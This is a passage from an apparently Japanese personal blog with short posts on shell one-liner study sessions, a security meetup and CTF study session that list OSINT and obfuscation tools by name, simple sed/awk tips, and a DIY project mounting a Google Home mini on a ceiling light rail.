pee is like tee but for pipes. Each command is run and fed a copy of the standard input. The output of all commands is sent to stdout.
Note that while this is similar to tee, a copy of the input is not sent to stdout, like tee does.

感動

シェル芸始末書 @grethlenのお詫び状

https://hackmd.io/p/Bk3lBeSjz#/

著名なシェル芸人のぐれさんが海外で仕事されるとのこと。ご活躍を楽しみにしております。

超・記号オンリー難読化シェル芸

これにより難読化シェル芸の、難読化手法の一つが完成するに至った。歴史的瞬間。

濱せっく 出張版 #4 に参加させて頂きました!

kanata6ヶ月前に追加

濱せっく 出張版 #4 (2018/04/04 19:00〜)

濱せっくとは 横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。 今回は4度目の出張版です。 読み方:はませっく #### 対象者 セキュリティに興味のある方であれば、学生でも社会人でも無職の方でもどなたでも大歓迎です。 なお、横濱にお住まいでなくても参加できます。 ## 開催日時 * 2018年4月4日(水) * 18:30開場 / 19:00開始 * 21:00~21:30 終了見込み ## 会場 * レアルセミナールーム * 東京都新宿区西新宿1-3-13 (Zenken Pl...

知見

色んなツールを教えて頂きました。以下、気になったツール

puzzCode
https://github.com/aaaddress1/puzzCode

解析者の心を折りにくる難読化ツール

Buscador Investigative Operating System
https://inteltechniques.com/buscador/

OSINT特化のLinuxディストリビューション。素晴らしい。

ADRecon
https://github.com/sense-of-security/ADRecon

Active Directoryの調査ツール(OSINT)

maltegoのプラグイン
https://github.com/tampererer?tab=repositories

Recon-ng

Recon-ngの使い方 on @Qiita

katagaitaiCTF勉強会とシェル芸勉強会に参加させて頂きました!

kanata7ヶ月前に追加

katagaitai CTF勉強会 #11 - 関東|med

katagaitai CTF勉強会 #11 - 関東|med : ATND

h2. 概要 * チームkatagaitaiの実施する,CTFに関する勉強会です.過去問...

yskさん

無線の話!無線の話!めっちゃ面白い。資料が神だった。
無線の基礎から教えてくれたので、めっちゃ解りやすい。
これ系の問題は苦手な数学がほぼ入ってこないので、頑張ればなんとかできそうな印象(できるとは言っていない)

GNU Radio必須

資料が公開されてますね!

bataさん

ChromeのJavascriptエンジンV8の中の話
めちゃめちゃ濃い内容。この内容理解できたらV8のメンテナになれるでコレ…

bataさんが解説する問題は、相変わらず遥か彼方にゴールが見える感じで遠い。。

jus & USP友の会共催 シェル勉強会 @関西(第34回いつも難しい問題ばっかり出す上田が真面目に考えた初心者用シェル芸勉強会)

jus & USP友の会共催 シェル勉強会 @関西(第34回いつも難しい問題ばっかり出す上田が真面目に考えた初心者用シェル芸勉強会)で大阪にお邪魔しました | 上田ブログ

問題
https://b.ueda.tech/?post=20180317_shellgei_34

youtube
https://t.co/tuZhLj6zEu

togetter
https://togetter.com/li/1209705

LT

特に面白いと思ったのは以下

ターミナルでテトリスが動いてる・・・!

記号オンリー難読化シェル芸・・・!


知見を得た

以下はよく忘れて毎回ググるのでメモしておく

  • sedで引っ掛けたものを置換対象に含めるには&を使う
$ echo abc123 |sed 's/abc/&def/g'
abcdef123
  • awkのNR(行番号)

  • awkで空行の削除

$ awk 'NF'

Google Home mini を天井に設置する

kanata7ヶ月前に追加

動機

天井と話たいんじゃ。天井から流れてくる音楽聞きたいんじゃ。

前提

天井がダクトレールなのが前提。

そうじゃないと後述のライトが取り付けられない。

必要な物の購入

1灯スポットライト・2環ウッドシェード (ダクトレール用)

これ

partsC1.jpg

1灯スポットライト・2環ウッドシェード (ダクトレール用) 【シェードカラー:ナチュラル】

クロームメッキのボディに木製2連シェードを組み合わせた、ダクトレール接続のスポットライト。光を当てたい部分をスポット照射しながら、天井や壁に映る陰影も楽しむことができます。 ...

パナソニック(Panasonic) セパラボディ/P WH4101PK

これ

partsB1.jpg

電球の口(E26)をコンセントに変換するやつ。amazonで買った。

100円ショップのSeriaで買ったスマートフォンスタンド

これ

partsA1.jpg

セリアで買った。一番安いけど、いちばん重要。8本の足を好きなように曲げられる。

partsA2.jpg

いろいろ応用ができる。

参考

【100均検証】使い方はあなた次第! あまりにも自由度の高い「マルチスタンド」の使い方をイロイロ考えてみた結果...

元気ですかーっ! プロレスの世界には「 ホウキ相手でもプロレスができる 」という名言がありますが、100均研究の世界にも「どんな100円グッズでも面白おかしく転がして紹介することができる」という格言があるとかないとか。しかし今回...... 面白おかしく転がすことができませんでした!

組み立て

簡単

  1. ライトの口(E26)にコンセントにするやつを装着
  2. Google Home mini をスマホスタンドでガバっとカバーする
  3. ライトと Google Home mini を合体。柔軟に曲がるスマホスタンドをいい感じに調整するとライトを垂直にしても落ちてこない程度に固定できる。

完成

はい完成!最&高!

combination2.jpgcombination3.jpg
combination1.jpgcombination4.jpg

1 2 3 ... 12 (1-10/114)

他の形式にエクスポート: Atom

クリップボードから画像を追加 (サイズの上限: 100 MB)